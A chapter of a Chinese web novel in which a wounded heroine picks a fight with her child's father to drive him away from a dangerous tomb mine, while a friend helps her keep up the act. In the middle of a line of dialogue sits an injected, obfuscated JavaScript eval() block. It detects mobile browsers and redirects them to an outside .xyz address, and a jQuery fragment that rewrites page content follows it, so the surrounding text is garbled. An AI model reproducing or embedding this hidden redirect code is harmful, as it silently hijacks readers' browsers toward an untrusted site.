96. 争吵
作品:《独尊贵妾》 雨丝顺着银后墓的断壁残垣蜿蜒而下,在青灰色的石板上洇出深色的水痕。
虞怜半跪在地,喉头涌上的腥甜几乎要冲破牙关,她死死攥着胸前的血玉,指节因用力而泛白。方才催动血灵时,那座沉寂千年的沉银矿脉突然爆发出骇人的反噬力,如万千冰针钻进她的经脉,此刻五脏六腑都像被碾碎了一般疼。
“咳咳……”她猛地侧过身,一口鲜血溅在湿漉漉的地面上,与雨水融成刺目的红。发间不知何时散落的几缕银丝,被风吹得贴在苍白的颊边,衬得那双原本清亮的眸子愈发黯淡。
李寒衣快步上前扶住她,指尖触到她腕间的脉搏时,脸色骤然沉了下去。“你动用了血灵的本源。”他的声音里带着不易察觉的震动,目光落在她鬓角那抹扎眼的白,“这银矿的怨气太重,你根本压不住。”
虞怜推开他的手,挣扎着站起身,动作间牵动伤口,又是一阵剧烈的咳嗽。“压不住也得压。”
她喘着气,抬手将散落的银丝拢到耳后,指尖触到那片冰凉的雪白时,动作微微一顿,“当年银后以血祭矿,才镇住这沉银里的凶煞。如今矿脉异动,除了血灵,我别无他法。”
李寒衣沉默地看着她。从方才她强撑着催动血灵时,他就注意到她鬓角新生的白发——那是血灵过度耗损的征兆,每多一根白发,便意味着她的生机又流逝了一分。
他忽然想起方才在墓道里,文骋跟随他们进来,虞怜却再次和文骋大吵起来。他想起她望着文骋离去的方向时,眼底那一闪而过的复杂情绪,心头猛地一沉。
“你故意与他争吵。”李寒衣的声音很轻,却带着不容置疑的笃定,“你想让他以为你憎恶他至极,想让他……死心。”
虞怜的脊背僵了一下,她转过身,望着墓外连绵的雨幕,声音轻得像要被风吹散:“他不该留在这里。”
“所以你就利用我?”李寒衣走近一步,目光落在她颤抖的肩头,“方才在墓道口,你故意让他看见我们站在一起,故意说那些模棱两可的话……你算准了他会妒,会怒,会负气离开。”
虞怜没有回头,只是抬手抹去唇角的血迹。雨水打湿了她的睫毛,让那双总是带着冷意的眼睛蒙上了一层水汽。
“李大哥,你我相识多年,你该明白我的处境。”她的声音里带着一丝疲惫,“文骋是文家人,沈家的血海深仇横在我们之间,我这辈子都不可能原谅他。可他偏要纠缠,偏要守着我这将死之人……我不能让他陪着我一起发疯。”
“将死之人?”李寒衣皱眉,“血灵虽损,但未必没有转机。”
“转机?”虞怜笑了一声,那笑声里满是自嘲,“从沈家被灭门的那天起,我就该死了。苟活到现在,不过是为了复仇。如今沉银矿的事牵扯越来越大,背后的势力盘根错节,稍有不慎便是万劫不复。我自己跳火坑也就罢了,不能拉着他和……和念念一起。”
提到女儿的名字,她的声音软了几分,眼眶微微泛红。
念念是她和文骋的孩子,是那场罪孽里唯一的光亮,她不能让孩子再卷入这场纷争,更不能让孩子亲眼看着父母反目,或是陪着她一起走向毁灭。
李寒衣看着她苍白的侧脸,忽然明白了她的用意。
她恨文骋,恨他身上的文家血脉,却又在潜意识里护着他——用最伤人的方式,把他从这场注定惨烈的结局里推开。
“你就不怕他真的走了,再也不回来?”他问。
虞怜的指尖微微蜷缩,指甲掐进掌心。“怕。”她低声说,声音轻得几乎听不见,“可比起怕他走,我更怕他留下来送死。”她深吸一口气,转过身时,眼底的脆弱已经被冰冷覆盖,“李大哥,算我求你,帮我演完这出戏。”
李寒衣沉默了片刻,最终点了点头。“沈昭,你总是这样,把所有事都扛在自己肩上。”他叹了口气,语气里带着无奈,“但你要记住,你不是一个人。”
虞怜没有说话,只是转过身,朝着墓外走去。雨还在下,打在她单薄的背影上,像无数根细密的针,扎得人心里发疼。
出了银后墓,雨势丝毫未减。文骋果然还站在不远处的山坳里,玄色的衣袍被雨水淋得湿透,墨发贴在脸颊上,衬得他脸色阴沉得可怕。
他的目光像淬了冰的刀子,死死盯着走在虞怜身侧的李寒衣,尤其是看到李寒衣自然地抬手替虞怜挡开头顶的断枝时,周身的气压瞬间低到了极点。
“文骋。”李寒衣率先开口,语气平静无波,“这里不安全,我送虞怜回去。”
文骋没有看他,视线牢牢锁在虞怜身上,目光扫过她苍白的脸,扫过她鬓角那抹刺眼的白,最后落在她被李寒衣搀扶着的手臂上。一股难以遏制的怒火混杂着嫉妒,像岩浆一样在他胸腔里翻涌。
“放开她。”他的声音嘶哑得厉害,像是被砂纸磨过。
虞怜抬起头,迎上他的目光,眼底没有丝毫波澜,只有一片冰冷的疏离。
“文骋,你该走了。”她说,“这里的事与你无关,带着念念离开吧,走得越远越好。”
“与我无关?”文骋像是听到了天大的笑话,猛地上前一步,雨水顺着他的下颌线滴落,“你是我的女人,念念是我的女儿,你说与我无关?”
“我不是你的女人。”虞怜的声音陡然变冷,“从沈家被灭门的那天起,沈昭就已经死了。现在的我,是虞怜,与你文骋,与文家,再无半分关系。”
“你胡说!”文骋一把攥住她的手腕,力道大得几乎要捏碎她的骨头,“你以为你与
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16082923|179439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我故意争吵,我就会信你?你以为你和李寒衣走得近,我就会吃醋,会疯魔?虞怜,你太小看我了!”
他以为她是在闹脾气,以为她是在用这种方式逼他妥协,却没看到她被攥住的手腕上,已经泛起了青紫色,更没看到她强忍疼痛时,眼底一闪而过的绝望。
“文骋,你放手!”李寒衣上前一步,试图拉开他的手,“她刚从墓里出来,受了伤……”
“滚开!”文骋猛地甩开他的手,眼神猩红地盯着虞怜,“你就这么想让我走?就因为我是文家人?就因为那些我根本没参与的过去?”
“是!”虞怜用力挣开他的钳制,声音因为激动而微微颤抖,“就因为你是文骋,是文家的儿子!就因为你流着和那些刽子手一样的血!文骋,你听不懂人话吗?我不想看见你,不想看见任何姓文的人!你带着你的女儿滚,滚得越远越好!”
她刻意加重了“你的女儿”四个字,像一把淬了毒的匕首,狠狠刺进文骋的心脏。
文骋踉跄着后退了一步,难以置信地看着她。他看到她眼底的厌恶,看到她刻意与李寒衣靠近的动作,看到她鬓角的白发——那白发像是在嘲笑他的自作多情,嘲笑他的一厢情愿。
原来她真的不在乎他。原来她做了这么多,就是为了把他推开。
一股腥甜涌上喉头,他猛地别过头,强压下翻涌的气血。再转回来时,眼底的痛楚已经被冰冷的嘲讽取代。
“好,好一个‘再无半分关系’。”他笑了起来,笑声里满是绝望和自嘲,“虞怜,我文骋在你眼里,当真如此不堪?”
虞怜别过脸,不敢看他的眼睛。她怕自己多看一眼,就会忍不住泄露出所有的脆弱和不舍。
“是。”她硬着心肠,吐出一个字。
文骋的脸色彻底失去了血色。他深深地看了她一眼,那眼神里包含了太多东西,有愤怒,有不甘,有痛苦,还有一丝……绝望的死心。
“我走。”他说,声音轻得像一阵风,“但虞怜你记住,今日是你赶我走的。日后无论发生什么,都别再来找我。”
说完,他最后看了一眼虞怜鬓角的白发,转身,毫不留恋地走进了茫茫雨幕。玄色的背影很快被雨水吞没,消失在山路的尽头。
直到那道身影彻底看不见了,虞怜紧绷的身体才猛地一晃,差点栽倒在地。李寒衣及时扶住她,才发现她的脸色已经白得像纸,唇角又溢出了一丝血迹。
“他走了。”李寒衣低声说。
虞怜望着文骋消失的方向,雨水混合着泪水,从眼角滑落。“嗯。”她应了一声,声音轻得像叹息,“他走了就好。”
可只有她自己知道,那句话说出口时,她的心像是被生生剜去了一块,疼得快要无法呼吸。

